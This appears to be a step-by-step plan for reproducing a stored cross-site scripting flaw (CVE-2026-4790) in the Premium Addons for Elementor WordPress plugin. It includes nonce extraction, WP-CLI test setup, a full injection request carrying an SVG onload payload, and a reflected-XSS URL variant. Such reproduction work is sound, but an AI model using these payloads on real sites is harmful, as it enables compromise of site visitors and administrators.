Premium Addons for Elementor <= 4.11.70 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'custom_svg' Parameter

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in Premium Addons for Elementor (v4.11.70 and below). The vulnerability exists because the plugin fails to sanitize or escape the custom_svg parameter when rendering the "Animated Shape Divider" feature.

1. Vulnerability Summary

• ID: CVE-2026-4790
• Vulnerability Type: Stored Cross-Site Scripting (XSS)
• Component: addons/shape-divider.php
• Vulnerable Parameter: custom_svg
• Requirement: Authenticated user with Contributor role or higher (ability to edit posts and use Elementor).
• Reason: The plugin allows users to provide custom SVG code for shape dividers. This code is stored in the post's Elementor metadata and rendered on the frontend without passing through wp_kses() or similar sanitization filters, allowing the injection of <script> tags or SVG event handlers like onload.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: elementor_ajax (internal Elementor action editor_post_save)
• Parameter: custom_svg (embedded within the elements JSON structure of the Elementor builder data).
• Precondition: A post must be created and opened in the Elementor editor by a user with at least Contributor-level permissions.

3. Code Flow

1. Registration: In addons/shape-divider.php, the Shape_Divider class registers Elementor controls for section, column, and container elements via the register_controls method (called by hooks on lines 80-83, 93).
2. Control Definition: The add_divider_content_controls method (line 172) adds the premium_gdivider_source control. When this is set to custom, a custom_svg control (inferred from the CVE description) is exposed to the user.
3. Storage: When a user saves the Elementor page, the data is sent to admin-ajax.php with the action elementor_ajax. Elementor saves this entire structure into the _elementor_data post meta.
4. Rendering (Sink):
   • Frontend: The before_render method (line 90) is hooked to elementor/frontend/section/before_render. It retrieves the settings using $element->get_settings_for_display(). If premium_gdivider_source is custom, the value of custom_svg is echoed to the page.
   • Editor: The print_template method (line 86) is hooked to elementor/section/print_template. This generates a Underscore.js/Backbone template for the editor. If it uses unescaped interpolation (<#= ... #>), the XSS triggers inside the editor as well.

4. Nonce Acquisition Strategy

To save Elementor settings via AJAX, a valid Elementor AJAX nonce is required.

1. Create a Post: Use WP-CLI to create a post and set it to Elementor mode.
2. Navigate: Use browser_navigate to open the Elementor editor for that post: wp-admin/post.php?post=[ID]&action=elementor.
3. Extract Nonce: The nonce is stored in the global elementorConfig JavaScript object.
   • Variable: window.elementorConfig.nonces.save_builder
   • Execution: browser_eval("window.elementorConfig.nonces.save_builder")

5. Exploitation Strategy

Step 1: Prepare the Environment

• Create a Contributor user.
• Create a Post and assign it to the Contributor.
• Enable Elementor for that post.

Step 2: Extract Nonce and Post Data

• Log in as the Contributor.
• Navigate to the Elementor Editor for the created post.
• Extract the save_builder nonce.

Step 3: Inject the Payload

Send a POST request to admin-ajax.php to save the malicious SVG.

• URL: http://vulnerable-site.com/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: elementor_ajax
  • _nonce: [EXTRACTED_NONCE]
  • actions: A JSON string containing the editor_post_save action.

Payload JSON (actions parameter):

{
  "editor_post_save": {
    "action": "editor_post_save",
    "data": {
      "id": [POST_ID],
      "status": "publish",
      "elements": [
        {
          "id": "exploit-section",
          "elType": "section",
          "settings": {
            "premium_global_divider_sw": "yes",
            "premium_gdivider_source": "custom",
            "custom_svg": "<svg/onload=alert(window.origin)>"
          },
          "elements": []
        }
      ]
    }
  }
}

6. Test Data Setup

1. Contributor User:
   wp user create attacker attacker@example.com --role=contributor --user_pass=password
2. Target Post:
   wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_author=$(wp user get attacker --field=ID)
3. Elementor Metadata:
   wp post meta add [POST_ID] _elementor_edit_mode string "builder"
wp post meta add [POST_ID] _elementor_template_type string "wp-post"

7. Expected Results

• The admin-ajax.php response should return a 200 OK with a JSON body indicating success: {"success":true,"data":{...}}.
• The _elementor_data meta for the post will now contain the raw <svg/onload=...> string.
• When navigating to the post's permalink, a JavaScript alert showing the document domain will appear.

8. Verification Steps

1. Check Meta Storage:
   wp post meta get [POST_ID] _elementor_data
   Verify that the custom_svg field contains the unescaped payload.
2. Frontend Check:
   Use browser_navigate to the post URL and check for the alert.

9. Alternative Approaches

• Backbone Template XSS: If the frontend rendering is protected but the editor is not, navigate to the Elementor editor to trigger the XSS in the context of the user (potentially an Admin).
• Direct Meta Update: If the AJAX fails, test if the Contributor can update the _elementor_data meta directly via the WordPress REST API or a standard post update, as some plugins fail to restrict which meta keys a Contributor can save if they are passed in a specific format.
• AJAX Shape Fetch: Test the wp_ajax_get_shape_divider_svg action (line 102). If it takes custom_svg as a direct parameter and echoes it, it may provide a Reflected XSS path:
  admin-ajax.php?action=get_shape_divider_svg&custom_svg=<svg/onload=alert(1)>